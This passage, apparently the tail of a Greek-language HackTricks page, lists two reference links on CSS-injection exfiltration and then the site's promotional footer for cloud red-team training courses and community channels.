- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.